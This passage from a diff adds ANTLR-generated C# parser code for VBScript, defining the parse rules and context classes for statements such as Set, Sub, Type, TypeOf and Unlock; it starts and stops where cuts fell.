EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSetattrStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSetattrStmt(this); + } + } + + [RuleVersion(0)] + public SetattrStmtContext setattrStmt() { + SetattrStmtContext _localctx = new SetattrStmtContext(Context, State); + EnterRule(_localctx, 214, RULE_setattrStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2195; + Match(SETATTR); + State = 2196; + Match(WS); + State = 2197; + valueStmt(0); + State = 2199; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2198; + Match(WS); + } + } + + State = 2201; + Match(COMMA); + State = 2203; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,344,Context) ) { + case 1: + { + State = 2202; + Match(WS); + } + break; + } + State = 2205; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SET() { return GetToken(VBScriptParser.SET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public SetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_setStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSetStmt(this); + } + } + + [RuleVersion(0)] + public SetStmtContext setStmt() { + SetStmtContext _localctx = new SetStmtContext(Context, State); + EnterRule(_localctx, 216, RULE_setStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2207; + Match(SET); + State = 2208; + Match(WS); + State = 2209; + implicitCallStmt_InStmt(); + State = 2211; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2210; + Match(WS); + } + } + + State = 2213; + Match(EQ); + State = 2215; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,346,Context) ) { + case 1: + { + State = 2214; + Match(WS); + } + break; + } + State = 2217; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class StopStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STOP() { return GetToken(VBScriptParser.STOP, 0); } + public StopStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_stopStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterStopStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitStopStmt(this); + } + } + + [RuleVersion(0)] + public StopStmtContext stopStmt() { + StopStmtContext _localctx = new StopStmtContext(Context, State); + EnterRule(_localctx, 218, RULE_stopStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2219; + Match(STOP); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SUB() { return GetToken(VBScriptParser.SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_SUB() { return GetToken(VBScriptParser.END_SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFAULT() { return GetToken(VBScriptParser.DEFAULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public SubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_subStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSubStmt(this); + } + } + + [RuleVersion(0)] + public SubStmtContext subStmt() { + SubStmtContext _localctx = new SubStmtContext(Context, State); + EnterRule(_localctx, 220, RULE_subStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2224; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 2221; + visibility(); + State = 2222; + Match(WS); + } + } + + State = 2228; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==DEFAULT) { + { + State = 2226; + Match(DEFAULT); + State = 2227; + Match(WS); + } + } + + State = 2232; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 2230; + Match(STATIC); + State = 2231; + Match(WS); + } + } + + State = 2234; + Match(SUB); + State = 2235; + Match(WS); + State = 2236; + ambiguousIdentifier(); + State = 2241; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN || _la==WS) { + { + State = 2238; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2237; + Match(WS); + } + } + + State = 2240; + argList(); + } + } + + State = 2244; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2243; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2246; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,352,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2254; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 2248; + block(); + State = 2250; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2249; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2252; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 2256; + Match(END_SUB); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TimeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TIME() { return GetToken(VBScriptParser.TIME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public TimeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_timeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTimeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTimeStmt(this); + } + } + + [RuleVersion(0)] + public TimeStmtContext timeStmt() { + TimeStmtContext _localctx = new TimeStmtContext(Context, State); + EnterRule(_localctx, 222, RULE_timeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2258; + Match(TIME); + State = 2260; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2259; + Match(WS); + } + } + + State = 2262; + Match(EQ); + State = 2264; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,356,Context) ) { + case 1: + { + State = 2263; + Match(WS); + } + break; + } + State = 2266; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPE() { return GetToken(VBScriptParser.TYPE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_TYPE() { return GetToken(VBScriptParser.END_TYPE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeStmt_ElementContext[] typeStmt_Element() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeStmt_ElementContext typeStmt_Element(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public TypeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeStmt(this); + } + } + + [RuleVersion(0)] + public TypeStmtContext typeStmt() { + TypeStmtContext _localctx = new TypeStmtContext(Context, State); + EnterRule(_localctx, 224, RULE_typeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2271; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 2268; + visibility(); + State = 2269; + Match(WS); + } + } + + State = 2273; + Match(TYPE); + State = 2274; + Match(WS); + State = 2275; + ambiguousIdentifier(); + State = 2277; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2276; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2279; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + State = 2284; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0) || _la==L_SQUARE_BRACKET || _la==IDENTIFIER) { + { + { + State = 2281; + typeStmt_Element(); + } + } + State = 2286; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 2287; + Match(END_TYPE); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeStmt_ElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptsContext subscripts() { + return GetRuleContext(0); + } + public TypeStmt_ElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeStmt_Element; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeStmt_Element(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeStmt_Element(this); + } + } + + [RuleVersion(0)] + public TypeStmt_ElementContext typeStmt_Element() { + TypeStmt_ElementContext _localctx = new TypeStmt_ElementContext(Context, State); + EnterRule(_localctx, 226, RULE_typeStmt_Element); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2289; + ambiguousIdentifier(); + State = 2304; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,364,Context) ) { + case 1: + { + State = 2291; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2290; + Match(WS); + } + } + + State = 2293; + Match(LPAREN); + State = 2298; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,362,Context) ) { + case 1: + { + State = 2295; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,361,Context) ) { + case 1: + { + State = 2294; + Match(WS); + } + break; + } + State = 2297; + subscripts(); + } + break; + } + State = 2301; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2300; + Match(WS); + } + } + + State = 2303; + Match(RPAREN); + } + break; + } + State = 2308; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2306; + Match(WS); + State = 2307; + asTypeClause(); + } + } + + State = 2311; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2310; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2313; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeOfStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPEOF() { return GetToken(VBScriptParser.TYPEOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeContext type() { + return GetRuleContext(0); + } + public TypeOfStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeOfStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeOfStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeOfStmt(this); + } + } + + [RuleVersion(0)] + public TypeOfStmtContext typeOfStmt() { + TypeOfStmtContext _localctx = new TypeOfStmtContext(Context, State); + EnterRule(_localctx, 228, RULE_typeOfStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2315; + Match(TYPEOF); + State = 2316; + Match(WS); + State = 2317; + valueStmt(0); + State = 2322; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,367,Context) ) { + case 1: + { + State = 2318; + Match(WS); + State = 2319; + Match(IS); + State = 2320; + Match(WS); + State = 2321; + type(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class UnloadStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOAD() { return GetToken(VBScriptParser.UNLOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public UnloadStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_unloadStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterUnloadStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitUnloadStmt(this); + } + } + + [RuleVersion(0)] + public UnloadStmtContext unloadStmt() { + UnloadStmtContext _localctx = new UnloadStmtContext(Context, State); + EnterRule(_localctx, 230, RULE_unloadStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2324; + Match(UNLOAD); + State = 2325; + Match(WS); + State = 2326; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class UnlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOCK() { return GetToken(VBScriptParser.UNLOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public UnlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_unlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterUnlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitUnlockStmt(this); + } + } + + [RuleVersion(0)] + public UnlockStmtContext unlockStmt() { + UnlockStmtContext _localctx = new UnlockStmtContext(Context, State); + EnterRule(_localctx, 232, RULE_unlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2328; + Match(UNLOCK); + State = 2329; + Match(WS); + State = 2330; + valueStmt(0); + State = 2345; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,371,Context) ) { + case 1: + { + State = 2332; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2331; + Match(WS); + } + } + + State = 2334; + Match(COMMA); + State = 2336; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,369,Context) ) { + case 1: + { + State = 2335; + Match(WS); + } + break; + } + State = 2338; + valueStmt(0); + State = 2343; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,370,Context) ) { + case 1: + { + State = 2339; + Match(WS); + State = 2340; + Match(TO); + State = 2341; + Match(WS); + State = 2342; + valueStmt(0); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ValueStmtContext : ParserRuleContext { + public ValueStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_valueStmt; } } + + public ValueStmtContext() { } + public virtual void CopyFrom(ValueStmtContext context) { + base.CopyFrom(context); + } + } + public partial class VsAssignContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ASSIGN() { return GetToken(VBScriptParser.ASSIGN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public VsAssignContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsAssign(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsAssign(this); + } + } + public partial class VsStructContext : ValueStmtContext { + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public VsStructContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsStruct(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsStruct(this); + } + } + public partial class VsAddressOfContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ADDRESSOF() { return GetToken(VBScriptParser.ADDRESSOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public VsAddressOfContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsAddressOf(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsAddressOf(this); + } + } + public partial class VsTypeOfContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public TypeOfStmtContext typeOfStmt() { + return GetRuleContext(0); + } + public VsTypeOfContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsTypeOf(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsTypeOf(this); + } + } + public partial class VsNewContext : 